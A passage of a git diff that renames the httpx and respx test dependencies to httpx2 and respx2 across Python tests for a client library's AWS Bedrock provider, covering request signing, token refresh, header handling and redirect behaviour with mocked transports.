headers={"x-request-id": "req_chat"},
@@ -1046,15 +1045,15 @@ def test_passes_non_responses_resources_through(respx_mock: MockRouter) -> None:
client.chat.completions.create(model="gpt-4o", messages=[])
assert exc.value.request_id == "req_chat"
- calls = cast("list[MockRequestCall]", respx_mock.calls)
+ calls = cast("list[MockRequestCall]", respx2_mock.calls)
assert calls[0].request.url == URL("https://example.com/openai/v1/chat/completions")
@pytest.mark.asyncio
-@pytest.mark.respx()
-async def test_passes_non_responses_resources_through_async(respx_mock: MockRouter) -> None:
- respx_mock.post("https://example.com/openai/v1/chat/completions").mock(
- return_value=httpx.Response(
+@pytest.mark.respx2()
+async def test_passes_non_responses_resources_through_async(respx2_mock: MockRouter) -> None:
+ respx2_mock.post("https://example.com/openai/v1/chat/completions").mock(
+ return_value=httpx2.Response(
404,
json={"error": {"message": "AWS does not support chat completions here"}},
headers={"x-request-id": "req_chat"},
@@ -1066,14 +1065,14 @@ async def test_passes_non_responses_resources_through_async(respx_mock: MockRout
await client.chat.completions.create(model="gpt-4o", messages=[])
assert exc.value.request_id == "req_chat"
- calls = cast("list[MockRequestCall]", respx_mock.calls)
+ calls = cast("list[MockRequestCall]", respx2_mock.calls)
assert calls[0].request.url == URL("https://example.com/openai/v1/chat/completions")
-@pytest.mark.respx()
-def test_passes_responses_features_through(respx_mock: MockRouter) -> None:
- respx_mock.post("https://example.com/openai/v1/responses").mock(
- return_value=httpx.Response(200, json=RESPONSE_BODY)
+@pytest.mark.respx2()
+def test_passes_responses_features_through(respx2_mock: MockRouter) -> None:
+ respx2_mock.post("https://example.com/openai/v1/responses").mock(
+ return_value=httpx2.Response(200, json=RESPONSE_BODY)
)
client = make_sync_client(base_url="https://example.com/openai/v1", api_key="token")
@@ -1084,14 +1083,14 @@ def test_passes_responses_features_through(respx_mock: MockRouter) -> None:
)
assert response.id == "resp_123"
- calls = cast("list[MockRequestCall]", respx_mock.calls)
+ calls = cast("list[MockRequestCall]", respx2_mock.calls)
assert json.loads(calls[0].request.content)["tools"] == [{"type": "web_search_preview"}]
-@pytest.mark.respx()
-def test_passes_admin_security_routes_through(respx_mock: MockRouter) -> None:
- respx_mock.get("https://example.com/openai/v1/organization/invites").mock(
- return_value=httpx.Response(
+@pytest.mark.respx2()
+def test_passes_admin_security_routes_through(respx2_mock: MockRouter) -> None:
+ respx2_mock.get("https://example.com/openai/v1/organization/invites").mock(
+ return_value=httpx2.Response(
404,
json={"error": {"message": "AWS does not support organization invites here"}},
headers={"x-request-id": "req_admin"},
@@ -1102,16 +1101,16 @@ def test_passes_admin_security_routes_through(respx_mock: MockRouter) -> None:
with pytest.raises(NotFoundError, match="AWS does not support organization invites here"):
list(client.admin.organization.invites.list())
- calls = cast("list[MockRequestCall]", respx_mock.calls)
+ calls = cast("list[MockRequestCall]", respx2_mock.calls)
assert calls[0].request.headers["Authorization"] == "Bearer token"
-@pytest.mark.respx()
-def test_refreshes_token_provider_for_admin_security_routes(respx_mock: MockRouter) -> None:
- respx_mock.get("https://example.com/openai/v1/organization/invites").mock(
+@pytest.mark.respx2()
+def test_refreshes_token_provider_for_admin_security_routes(respx2_mock: MockRouter) -> None:
+ respx2_mock.get("https://example.com/openai/v1/organization/invites").mock(
side_effect=[
- httpx.Response(500, json={"error": "server error"}),
- httpx.Response(
+ httpx2.Response(500, json={"error": "server error"}),
+ httpx2.Response(
404,
json={"error": {"message": "AWS does not support organization invites here"}},
headers={"x-request-id": "req_admin"},
@@ -1122,43 +1121,43 @@ def test_refreshes_token_provider_for_admin_security_routes(respx_mock: MockRout
client = BedrockOpenAI(
base_url="https://example.com/openai/v1",
bedrock_token_provider=lambda: next(tokens),
- http_client=sync_http_client(trust_env=False),
+ http_client=DefaultHttpx2Client(trust_env=False),
max_retries=1,
)
with pytest.raises(NotFoundError, match="AWS does not support organization invites here"):
list(client.admin.organization.invites.list())
- calls = cast("list[MockRequestCall]", respx_mock.calls)
+ calls = cast("list[MockRequestCall]", respx2_mock.calls)
assert calls[0].request.headers["Authorization"] == "Bearer first"
assert calls[1].request.headers["Authorization"] == "Bearer second"
-@pytest.mark.respx()
-def test_allows_responses_http_methods(respx_mock: MockRouter) -> None:
- respx_mock.post("https://example.com/openai/v1/responses").mock(
- return_value=httpx.Response(200, json=RESPONSE_BODY)
+@pytest.mark.respx2()
+def test_allows_responses_http_methods(respx2_mock: MockRouter) -> None:
+ respx2_mock.post("https://example.com/openai/v1/responses").mock(
+ return_value=httpx2.Response(200, json=RESPONSE_BODY)
)
- respx_mock.get("https://example.com/openai/v1/responses/resp_123?starting_after=1&stream=true").mock(
- return_value=httpx.Response(200, text=response_created_sse(), headers={"Content-Type": "text/event-stream"})
+ respx2_mock.get("https://example.com/openai/v1/responses/resp_123?starting_after=1&stream=true").mock(
+ return_value=httpx2.Response(200, text=response_created_sse(), headers={"Content-Type": "text/event-stream"})
)
- respx_mock.get("https://example.com/openai/v1/responses/resp_123?stream=true").mock(
- return_value=httpx.Response(200, text=response_created_sse(), headers={"Content-Type": "text/event-stream"})
+ respx2_mock.get("https://example.com/openai/v1/responses/resp_123?stream=true").mock(
+ return_value=httpx2.Response(200, text=response_created_sse(), headers={"Content-Type": "text/event-stream"})
)
- respx_mock.get("https://example.com/openai/v1/responses/resp_123").mock(
- return_value=httpx.Response(200, json=RESPONSE_BODY)
+ respx2_mock.get("https://example.com/openai/v1/responses/resp_123").mock(
+ return_value=httpx2.Response(200, json=RESPONSE_BODY)
)
- respx_mock.post("https://example.com/openai/v1/responses/resp_123/cancel").mock(
- return_value=httpx.Response(200, json=RESPONSE_BODY)
+ respx2_mock.post("https://example.com/openai/v1/responses/resp_123/cancel").mock(
+ return_value=httpx2.Response(200, json=RESPONSE_BODY)
)
- respx_mock.post("https://example.com/openai/v1/responses/compact").mock(
- return_value=httpx.Response(200, json=COMPACTED_RESPONSE_BODY)
+ respx2_mock.post("https://example.com/openai/v1/responses/compact").mock(
+ return_value=httpx2.Response(200, json=COMPACTED_RESPONSE_BODY)
)
- respx_mock.get("https://example.com/openai/v1/responses/resp_123/input_items").mock(
- return_value=httpx.Response(200, json=INPUT_ITEMS_BODY)
+ respx2_mock.get("https://example.com/openai/v1/responses/resp_123/input_items").mock(
+ return_value=httpx2.Response(200, json=INPUT_ITEMS_BODY)
)
- respx_mock.post("https://example.com/openai/v1/responses/input_tokens").mock(
- return_value=httpx.Response(200, json=INPUT_TOKENS_BODY)
+ respx2_mock.post("https://example.com/openai/v1/responses/input_tokens").mock(
+ return_value=httpx2.Response(200, json=INPUT_TOKENS_BODY)
)
client = make_sync_client(base_url="https://example.com/openai/v1", api_key="token")
@@ -1173,17 +1172,17 @@ def test_allows_responses_http_methods(respx_mock: MockRouter) -> None:
assert list(client.responses.input_items.list("resp_123")) == []
assert client.responses.input_tokens.count(model="gpt-4o", input="hello").input_tokens == 1
- calls = cast("list[MockRequestCall]", respx_mock.calls)
+ calls = cast("list[MockRequestCall]", respx2_mock.calls)
assert {call.request.headers["Authorization"] for call in calls} == {"Bearer token"}
-@pytest.mark.respx()
-def test_allows_sse_and_response_wrappers(respx_mock: MockRouter) -> None:
- respx_mock.post("https://example.com/openai/v1/responses").mock(
+@pytest.mark.respx2()
+def test_allows_sse_and_response_wrappers(respx2_mock: MockRouter) -> None:
+ respx2_mock.post("https://example.com/openai/v1/responses").mock(
side_effect=[
- httpx.Response(200, text=response_created_sse(), headers={"Content-Type": "text/event-stream"}),
- httpx.Response(200, json=RESPONSE_BODY),
- httpx.Response(200, json=RESPONSE_BODY),
+ httpx2.Response(200, text=response_created_sse(), headers={"Content-Type": "text/event-stream"}),
+ httpx2.Response(200, json=RESPONSE_BODY),
+ httpx2.Response(200, json=RESPONSE_BODY),
]
)
client = make_sync_client(base_url="https://example.com/openai/v1", api_key="token")
diff --git a/tests/lib/test_bedrock_auth_conformance.py b/tests/lib/test_bedrock_auth_conformance.py
index 7478b08cbd..08953fa592 100644
--- a/tests/lib/test_bedrock_auth_conformance.py
+++ b/tests/lib/test_bedrock_auth_conformance.py
@@ -9,7 +9,7 @@
from pathlib import Path
from datetime import datetime
-import httpx
+import httpx2
import pytest
import jsonschema
@@ -50,7 +50,7 @@ def utcnow(cls) -> datetime:
monkeypatch.setattr(botocore_auth.datetime, "datetime", FrozenDatetime)
-def _lower_headers(headers: httpx.Headers | dict[str, str]) -> dict[str, str]:
+def _lower_headers(headers: httpx2.Headers | dict[str, str]) -> dict[str, str]:
return {name.lower(): value for name, value in headers.items()}
@@ -59,7 +59,7 @@ def _canonical_request_sha256(case: dict[str, Any], signed_headers: dict[str, st
authorization = signed_headers["authorization"]
signed_header_names = authorization.split("SignedHeaders=", 1)[1].split(",", 1)[0].split(";")
canonical_headers = "".join(f"{name}:{' '.join(signed_headers[name].split())}\n" for name in signed_header_names)
- url = httpx.URL(request["url"])
+ url = httpx2.URL(request["url"])
canonical_request = "\n".join(
(
request["method"],
@@ -96,7 +96,7 @@ def test_shared_sigv4_fixture_matches_node(monkeypatch: pytest.MonkeyPatch) -> N
url=request["url"],
headers={
"content-type": request["contentType"],
- "host": httpx.URL(request["url"]).host,
+ "host": httpx2.URL(request["url"]).host,
},
body=body,
)
@@ -123,7 +123,7 @@ def test_auth_selection_fixture(case: dict[str, Any], monkeypatch: pytest.Monkey
explicit = case["given"]["explicit"]
kwargs: dict[str, Any] = {
"aws_region": "us-east-1",
- "http_client": httpx.Client(trust_env=False),
+ "http_client": httpx2.Client(trust_env=False),
"_enforce_credentials": False,
}
if "bearer" in explicit:
@@ -217,12 +217,12 @@ def credentials_provider() -> _Credentials:
_freeze_botocore_time(monkeypatch, timestamps)
- requests: list[httpx.Request] = []
+ requests: list[httpx2.Request] = []
statuses = iter(case["given"]["response_statuses"])
- def handler(request: httpx.Request) -> httpx.Response:
+ def handler(request: httpx2.Request) -> httpx2.Response:
requests.append(request)
- return httpx.Response(next(statuses), request=request, json={})
+ return httpx2.Response(next(statuses), request=request, json={})
body = base64.b64decode(case["given"]["body_base64"])
with OpenAI(
@@ -232,12 +232,12 @@ def handler(request: httpx.Request) -> httpx.Response:
credential_provider=credentials_provider,
),
max_retries=case["given"].get("max_retries", 1),
- http_client=httpx.Client(transport=httpx.MockTransport(handler), trust_env=False),
+ http_client=httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False),
) as client:
client.post(
"/responses",
content=body,
- cast_to=httpx.Response,
+ cast_to=httpx2.Response,
options={"headers": {"Content-Type": "application/json"}},
)
@@ -254,7 +254,7 @@ def test_body_replay_fixture(case: dict[str, Any]) -> None:
provider_calls = 0
network_calls = 0
body_reads = 0
- requests: list[httpx.Request] = []
+ requests: list[httpx2.Request] = []
def credentials_provider() -> _Credentials:
nonlocal provider_calls
@@ -267,12 +267,12 @@ def body() -> Iterator[bytes]:
for chunk in case["given"].get("chunks_base64", []):
yield base64.b64decode(chunk)
- def handler(request: httpx.Request) -> httpx.Response:
+ def handler(request: httpx2.Request) -> httpx2.Response:
nonlocal network_calls
network_calls += 1
requests.append(request)
statuses = case["given"].get("response_statuses", [200])
- return httpx.Response(statuses[network_calls - 1], request=request, json={})
+ return httpx2.Response(statuses[network_calls - 1], request=request, json={})
body_kind = case["given"]["body_kind"]
content: bytes | Iterator[bytes]
@@ -289,13 +289,13 @@ def handler(request: httpx.Request) -> httpx.Response:
credential_provider=credentials_provider,
),
max_retries=case["given"].get("max_retries", 1),
- http_client=httpx.Client(transport=httpx.MockTransport(handler), trust_env=False),
+ http_client=httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False),
) as client:
if case["expected"]["result"] == "bedrock_non_replayable_body":
with pytest.raises(OpenAIError, match="requires a replayable request body"):
- client.post("/responses", content=content, cast_to=httpx.Response)
+ client.post("/responses", content=content, cast_to=httpx2.Response)
else:
- client.post("/responses", content=content, cast_to=httpx.Response)
+ client.post("/responses", content=content, cast_to=httpx2.Response)
assert network_calls == case["expected"].get("network_attempts", case["expected"].get("attempts"))
if body_kind == "bytes":
@@ -321,10 +321,10 @@ async def body() -> AsyncIterator[bytes]:
body_reads += 1
yield b"body"
- async def handler(request: httpx.Request) -> httpx.Response:
+ async def handler(request: httpx2.Request) -> httpx2.Response:
nonlocal network_calls
network_calls += 1
- return httpx.Response(200, request=request)
+ return httpx2.Response(200, request=request)
async with AsyncOpenAI(
provider=bedrock(
@@ -332,10 +332,10 @@ async def handler(request: httpx.Request) -> httpx.Response:
region="us-east-1",
credential_provider=credentials_provider,
),
- http_client=httpx.AsyncClient(transport=httpx.MockTransport(handler), trust_env=False),
+ http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(handler), trust_env=False),
) as client:
with pytest.raises(OpenAIError, match="requires a replayable request body"):
- await client.post("/responses", content=body(), cast_to=httpx.Response)
+ await client.post("/responses", content=body(), cast_to=httpx2.Response)
assert (body_reads, provider_calls, network_calls) == (0, 0, 0)
@@ -349,8 +349,8 @@ def credentials_provider() -> _Credentials:
provider_threads.append(threading.get_ident())
return _Credentials("access-key", "secret-key")
- async def handler(request: httpx.Request) -> httpx.Response:
- return httpx.Response(200, request=request, json={})
+ async def handler(request: httpx2.Request) -> httpx2.Response:
+ return httpx2.Response(200, request=request, json={})
async with AsyncOpenAI(
provider=bedrock(
@@ -358,20 +358,20 @@ async def handler(request: httpx.Request) -> httpx.Response:
region="us-east-1",
credential_provider=credentials_provider,
),
- http_client=httpx.AsyncClient(transport=httpx.MockTransport(handler), trust_env=False),
+ http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(handler), trust_env=False),
) as client:
- await client.post("/responses", content=b"{}", cast_to=httpx.Response)
+ await client.post("/responses", content=b"{}", cast_to=httpx2.Response)
assert provider_threads
assert all(thread_id != event_loop_thread for thread_id in provider_threads)
def test_custom_http_client_auth_cannot_replace_sigv4() -> None:
- requests: list[httpx.Request] = []
+ requests: list[httpx2.Request] = []
- def handler(request: httpx.Request) -> httpx.Response:
+ def handler(request: httpx2.Request) -> httpx2.Response:
requests.append(request)
- return httpx.Response(200, request=request, json={})
+ return httpx2.Response(200, request=request, json={})
with OpenAI(
provider=bedrock(
@@ -380,25 +380,25 @@ def handler(request: httpx.Request) -> httpx.Response:
access_key_id="access-key",
secret_access_key="secret-key",
),
- http_client=httpx.Client(
- auth=httpx.BasicAuth("username", "password"),
- transport=httpx.MockTransport(handler),
+ http_client=httpx2.Client(
+ auth=httpx2.BasicAuth("username", "password"),
+ transport=httpx2.MockTransport(handler),
trust_env=False,
),
) as client:
- client.get("/models", cast_to=httpx.Response)
+ client.get("/models", cast_to=httpx2.Response)
assert requests[0].headers["Authorization"].startswith("AWS4-HMAC-SHA256 Credential=access-key/")
def test_sigv4_redirects_are_not_followed() -> None:
- requests: list[httpx.Request] = []
+ requests: list[httpx2.Request] = []
- def handler(request: httpx.Request) -> httpx.Response:
+ def handler(request: httpx2.Request) -> httpx2.Response:
requests.append(request)
if len(requests) == 1:
- return httpx.Response(307, request=request, headers={"Location": "/redirected"})
- return httpx.Response(200, request=request)
+ return httpx2.Response(307, request=request, headers={"Location": "/redirected"})
+ return httpx2.Response(200, request=request)
with OpenAI(
provider=bedrock(
@@ -407,10 +407,10 @@ def handler(request: httpx.Request) -> httpx.Response:
access_key_id="access-key",
secret_access_key="secret-key",
),
- http_client=httpx.Client(transport=httpx.MockTransport(handler), trust_env=False),
+ http_client=httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False),
) as client:
with pytest.raises(APIStatusError) as exc:
- client.get("/models", cast_to=httpx.Response)
+ client.get("/models", cast_to=httpx2.Response)
assert exc.value.status_code == 307
assert len(requests) == 1
diff --git a/tests/lib/test_bedrock_credential_chain.py b/tests/lib/test_bedrock_credential_chain.py
index 93e476fe5b..fec363aeb1 100644
--- a/tests/lib/test_bedrock_credential_chain.py
+++ b/tests/lib/test_bedrock_credential_chain.py
@@ -10,7 +10,7 @@
from http.server import ThreadingHTTPServer, BaseHTTPRequestHandler
from typing_extensions import override
-import httpx
+import httpx2
import pytest
from openai import OpenAI
@@ -69,18 +69,18 @@ def _isolate_aws_environment(monkeypatch: pytest.MonkeyPatch, tmp_path: Path) ->
return config_path, credentials_path
-def _signed_request(**provider_options: Any) -> httpx.Request:
- requests: list[httpx.Request] = []
+def _signed_request(**provider_options: Any) -> httpx2.Request:
+ requests: list[httpx2.Request] = []
- def handler(request: httpx.Request) -> httpx.Response:
+ def handler(request: httpx2.Request) -> httpx2.Response:
requests.append(request)
- return httpx.Response(200, request=request, json={})
+ return httpx2.Response(200, request=request, json={})
with OpenAI(
provider=bedrock(**provider_options),
- http_client=httpx.Client(transport=httpx.MockTransport(handler), trust_env=False),
+ http_client=httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False),
) as client:
- client.get("/models", cast_to=httpx.Response)
+ client.get("/models", cast_to=httpx2.Response)
assert len(requests) == 1
return requests[0]
@@ -95,7 +95,7 @@ def _credentials_metadata(name: str, *, expiration: str = _FUTURE_EXPIRATION) ->
}
-def _assert_signed_with(request: httpx.Request, name: str, *, region: str) -> None:
+def _assert_signed_with(request: httpx2.Request, name: str, *, region: str) -> None:
assert request.url.host == f"bedrock-mantle.{region}.api.aws"
assert f"Credential={name}-access-key/" in request.headers["Authorization"]
assert request.headers["X-Amz-Security-Token"] == f"{name}-session-token"
@@ -370,18 +370,18 @@ def get_credentials(_: object) -> Any:
return credentials
monkeypatch.setattr(session_module.Session, "get_credentials", get_credentials)
- requests: list[httpx.Request] = []
+ requests: list[httpx2.Request] = []
- def handler(request: httpx.Request) -> httpx.Response:
+ def handler(request: httpx2.Request) -> httpx2.Response:
requests.append(request)
- return httpx.Response(500 if len(requests) == 1 else 200, request=request, json={})
+ return httpx2.Response(500 if len(requests) == 1 else 200, request=request, json={})
with OpenAI(
provider=bedrock(),
max_retries=1,
- http_client=httpx.Client(transport=httpx.MockTransport(handler), trust_env=False),
+ http_client=httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False),
) as client:
- client.get("/models", cast_to=httpx.Response)
+ client.get("/models", cast_to=httpx2.Response)
assert refreshes == 2
assert len(requests) == 2
diff --git a/tests/lib/test_bedrock_provider.py b/tests/lib/test_bedrock_provider.py
index 236ce21359..7fd1ab971a 100644
--- a/tests/lib/test_bedrock_provider.py
+++ b/tests/lib/test_bedrock_provider.py
@@ -3,7 +3,7 @@
import builtins
from typing import Any, Iterator, cast
-import httpx
+import httpx2
import pytest
import openai.lib._bedrock_auth as bedrock_auth_module
@@ -15,47 +15,47 @@
def test_sync_provider_owns_endpoint_and_bearer_authentication() -> None:
- requests: list[httpx.Request] = []
+ requests: list[httpx2.Request] = []
- def handler(request: httpx.Request) -> httpx.Response:
+ def handler(request: httpx2.Request) -> httpx2.Response:
requests.append(request)
- return httpx.Response(200, request=request, json={})
+ return httpx2.Response(200, request=request, json={})
client = OpenAI(
provider=bedrock(region="us-east-1", api_key="bedrock token"),
- http_client=httpx.Client(transport=httpx.MockTransport(handler), trust_env=False),
+ http_client=httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False),
)
- client.get("/models", cast_to=httpx.Response)
+ client.get("/models", cast_to=httpx2.Response)
- assert client.base_url == httpx.URL("https://bedrock-mantle.us-east-1.api.aws/openai/v1/")
- assert requests[0].url == httpx.URL("https://bedrock-mantle.us-east-1.api.aws/openai/v1/models")
+ assert client.base_url == httpx2.URL("https://bedrock-mantle.us-east-1.api.aws/openai/v1/")
+ assert requests[0].url == httpx2.URL("https://bedrock-mantle.us-east-1.api.aws/openai/v1/models")
assert requests[0].headers["Authorization"] == "Bearer bedrock token"
@pytest.mark.asyncio
async def test_async_provider_owns_endpoint_and_bearer_authentication() -> None:
- requests: list[httpx.Request] = []
+ requests: list[httpx2.Request] = []
- async def handler(request: httpx.Request) -> httpx.Response:
+ async def handler(request: httpx2.Request) -> httpx2.Response:
requests.append(request)
- return httpx.Response(200, request=request, json={})
+ return httpx2.Response(200, request=request, json={})
client = AsyncOpenAI(
provider=bedrock(region="us-east-1", token_provider=lambda: "bedrock token"),
- http_client=httpx.AsyncClient(transport=httpx.MockTransport(handler), trust_env=False),
+ http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(handler), trust_env=False),
)
- await client.get("/models", cast_to=httpx.Response)
+ await client.get("/models", cast_to=httpx2.Response)
await client.close()
assert requests[0].headers["Authorization"] == "Bearer bedrock token"
def test_provider_ignores_openai_environment_configuration() -> None:
- requests: list[httpx.Request] = []
+ requests: list[httpx2.Request] = []
- def handler(request: httpx.Request) -> httpx.Response:
+ def handler(request: httpx2.Request) -> httpx2.Response:
requests.append(request)
- return httpx.Response(200, request=request, json={})
+ return httpx2.Response(200, request=request, json={})
with update_env(
OPENAI_API_KEY="openai token",
@@ -64,9 +64,9 @@ def handler(request: httpx.Request) -> httpx.Response:
):
client = OpenAI(
provider=bedrock(region="us-east-1", api_key="bedrock token"),
- http_client=httpx.Client(transport=httpx.MockTransport(handler), trust_env=False),
+ http_client=httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False),
)
- client.get("/models", cast_to=httpx.Response)
+ client.get("/models", cast_to=httpx2.Response)
assert client.api_key == ""
assert requests[0].url.host == "bedrock-mantle.us-east-1.api.aws"
@@ -98,16 +98,16 @@ def test_provider_survives_with_options_and_can_be_replaced() -> None:
assert copied.base_url == client.base_url
assert copied._provider is client._provider
- assert replaced.base_url == httpx.URL("https://bedrock-mantle.eu-west-1.api.aws/openai/v1/")
+ assert replaced.base_url == httpx2.URL("https://bedrock-mantle.eu-west-1.api.aws/openai/v1/")
assert replaced._provider is not client._provider
def test_switching_to_provider_drops_inherited_openai_metadata() -> None:
- requests: list[httpx.Request] = []
+ requests: list[httpx2.Request] = []
- def handler(request: httpx.Request) -> httpx.Response:
+ def handler(request: httpx2.Request) -> httpx2.Response:
requests.append(request)
- return httpx.Response(200, request=request, json={})
+ return httpx2.Response(200, request=request, json={})
with update_env(
OPENAI_CUSTOM_HEADERS="X-OpenAI-Ambient: leak",
@@ -117,11 +117,11 @@ def handler(request: httpx.Request) -> httpx.Response:
client = OpenAI(
api_key="openai token",
default_headers={"X-OpenAI-Custom": "leak"},
- http_client=httpx.Client(transport=httpx.MockTransport(handler), trust_env=False),
+ http_client=httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False),
)
provider_client = client.with_options(provider=bedrock(region="us-east-1", api_key="bedrock token"))
- provider_client.get("/models", cast_to=httpx.Response)
+ provider_client.get("/models", cast_to=httpx2.Response)
headers = requests[0].headers
assert headers["Authorization"] == "Bearer bedrock token"
@@ -133,22 +133,22 @@ def handler(request: httpx.Request) -> httpx.Response:
@pytest.mark.asyncio
async def test_async_switching_to_provider_drops_inherited_openai_metadata() -> None:
- requests: list[httpx.Request] = []
+ requests: list[httpx2.Request] = []
- async def handler(request: httpx.Request) -> httpx.Response:
+ async def handler(request: httpx2.Request) -> httpx2.Response:
requests.append(request)
- return httpx.Response(200, request=request, json={})
+ return httpx2.Response(200, request=request, json={})
client = AsyncOpenAI(
api_key="openai token",
organization="openai-org",
project="openai-project",
default_headers={"X-OpenAI-Custom": "leak"},
- http_client=httpx.AsyncClient(transport=httpx.MockTransport(handler), trust_env=False),
+ http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(handler), trust_env=False),
)
provider_client = client.with_options(provider=bedrock(region="us-east-1", api_key="bedrock token"))
- await provider_client.get("/models", cast_to=httpx.Response)
+ await provider_client.get("/models", cast_to=httpx2.Response)
await provider_client.close()
headers = requests[0].headers
@@ -159,11 +159,11 @@ async def handler(request: httpx.Request) -> httpx.Response:
def test_provider_metadata_survives_same_provider_clone_but_not_replacement() -> None:
- requests: list[httpx.Request] = []
+ requests: list[httpx2.Request] = []
- def handler(request: httpx.Request) -> httpx.Response:
+ def handler(request: httpx2.Request) -> httpx2.Response:
requests.append(request)
- return httpx.Response(200, request=request, json={})
+ return httpx2.Response(200, request=request, json={})
first_provider = bedrock(region="us-east-1", api_key="first token")
client = OpenAI(
@@ -171,12 +171,12 @@ def handler(request: httpx.Request) -> httpx.Response:
organization="provider-org",
project="provider-project",
default_headers={"X-Provider-Custom": "preserve-me"},
- http_client=httpx.Client(transport=httpx.MockTransport(handler), trust_env=False),
+ http_client=httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False),
)
- client.with_options(timeout=1).get("/models", cast_to=httpx.Response)
+ client.with_options(timeout=1).get("/models", cast_to=httpx2.Response)
client.with_options(provider=bedrock(region="us-east-1", api_key="second token")).get(
- "/models", cast_to=httpx.Response
+ "/models", cast_to=httpx2.Response
)
same_provider_headers, replacement_headers = (request.headers for request in requests)
@@ -193,8 +193,8 @@ class NormalizingProvider:
name = "normalizing"
def configure(self) -> _ProviderRuntime:
- def normalize(response: httpx.Response) -> httpx.Response:
- return httpx.Response(200, request=response.request, json={"normalized": True})
+ def normalize(response: httpx2.Response) -> httpx2.Response:
+ return httpx2.Response(200, request=response.request, json={"normalized": True})
return _ProviderRuntime(
name=self.name,
@@ -205,35 +205,35 @@ def normalize(response: httpx.Response) -> httpx.Response:
client = OpenAI(
provider=_create_provider(NormalizingProvider()),
max_retries=0,
- http_client=httpx.Client(
- transport=httpx.MockTransport(lambda request: httpx.Response(500, request=request, json={})),
+ http_client=httpx2.Client(
+ transport=httpx2.MockTransport(lambda request: httpx2.Response(500, request=request, json={})),
trust_env=False,
),
)
- response = client.get("/models", cast_to=httpx.Response)
+ response = client.get("/models", cast_to=httpx2.Response)
assert response.status_code == 200
assert response.json() == {"normalized": True}
def test_environment_bearer_mode_survives_clone_and_refreshes_each_attempt() -> None:
- requests: list[httpx.Request] = []
+ requests: list[httpx2.Request] = []
- def handler(request: httpx.Request) -> httpx.Response:
+ def handler(request: httpx2.Request) -> httpx2.Response:
requests.append(request)
- return httpx.Response(200, request=request, json={})
+ return httpx2.Response(200, request=request, json={})
with update_env(AWS_BEARER_TOKEN_BEDROCK="first token"):
client = OpenAI(
provider=bedrock(region="us-east-1"),
- http_client=httpx.Client(transport=httpx.MockTransport(handler), trust_env=False),
+ http_client=httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False),
)
- client.get("/models", cast_to=httpx.Response)
+ client.get("/models", cast_to=httpx2.Response)
copied = client.with_options(timeout=1)
with update_env(AWS_BEARER_TOKEN_BEDROCK="second token"):
- copied.get("/models", cast_to=httpx.Response)
+ copied.get("/models", cast_to=httpx2.Response)
assert [request.headers["Authorization"] for request in requests] == ["Bearer first token", "Bearer second token"]
@@ -251,7 +251,7 @@ def test_provider_can_be_removed_with_explicit_openai_credentials() -> None:
assert copied._provider is None
assert copied.api_key == "openai token"
- assert copied.base_url == httpx.URL("https://api.openai.com/v1/")
+ assert copied.base_url == httpx2.URL("https://api.openai.com/v1/")
assert copied.organization is None
assert copied.project is None
assert "X-Provider-Custom" not in copied.default_headers
@@ -285,29 +285,29 @@ def import_module(
raise ImportError(name)
return real_import(name, globals, locals, fromlist, level)
- def handler(request: httpx.Request) -> httpx.Response:
+ def handler(request: httpx2.Request) -> httpx2.Response:
nonlocal network_calls
network_calls += 1
- return httpx.Response(200, request=request)
+ return httpx2.Response(200, request=request)
monkeypatch.setattr(builtins, "__import__", import_module)
client = OpenAI(
provider=bedrock(region="us-east-1"),
- http_client=httpx.Client(transport=httpx.MockTransport(handler), trust_env=False),
+ http_client=httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False),
)
with pytest.raises(OpenAIError, match=r"pip install openai\[bedrock\]"):
- client.get("/models", cast_to=httpx.Response)
+ client.get("/models", cast_to=httpx2.Response)
assert network_calls == 0
def test_api_key_none_skips_environment_bearer_fallback() -> None:
- requests: list[httpx.Request] = []
+ requests: list[httpx2.Request] = []
- def handler(request: httpx.Request) -> httpx.Response:
+ def handler(request: httpx2.Request) -> httpx2.Response:
requests.append(request)
- return httpx.Response(200, request=request, json={})
+ return httpx2.Response(200, request=request, json={})
with update_env(
AWS_BEARER_TOKEN_BEDROCK="environment bearer",
@@ -316,9 +316,9 @@ def handler(request: httpx.Request) -> httpx.Response:
):
client = OpenAI(
provider=bedrock(region="us-east-1", api_key=None),
- http_client=httpx.Client(transport=httpx.MockTransport(handler), trust_env=False),
+ http_client=httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False),
)
- client.get("/models", cast_to=httpx.Response)
+ client.get("/models", cast_to=httpx2.Response)
assert requests[0].headers["Authorization"].startswith("AWS4-HMAC-SHA256 Credential=access key/")
@@ -326,20 +326,20 @@ def handler(request: httpx.Request) -> httpx.Response:
def test_provider_rejects_custom_authorization_before_network() -> None:
network_calls = 0
- def handler(request: httpx.Request) -> httpx.Response:
+ def handler(request: httpx2.Request) -> httpx2.Response:
nonlocal network_calls
network_calls += 1
- return httpx.Response(200, request=request)
+ return httpx2.Response(200, request=request)
client = OpenAI(
provider=bedrock(region="us-east-1", api_key="bedrock token"),
- http_client=httpx.Client(transport=httpx.MockTransport(handler), trust_env=False),
+ http_client=httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False),
)
with pytest.raises(OpenAIError, match="cannot be combined with a custom `Authorization` header"):
client.get(
"/models",
- cast_to=httpx.Response,
+ cast_to=httpx2.Response,
options={"headers": {"Authorization": "Bearer custom"}},
)
@@ -355,18 +355,18 @@ def token_provider() -> str:
provider_calls += 1
return "bedrock token"
- def handler(request: httpx.Request) -> httpx.Response:
+ def handler(request: httpx2.Request) -> httpx2.Response:
nonlocal network_calls
network_calls += 1
- return httpx.Response(200, request=request)
+ return httpx2.Response(200, request=request)
client = OpenAI(
provider=bedrock(base_url="https://bedrock.example/openai/v1", token_provider=token_provider),
- http_client=httpx.Client(transport=httpx.MockTransport(handler), trust_env=False),
+ http_client=httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False),
)
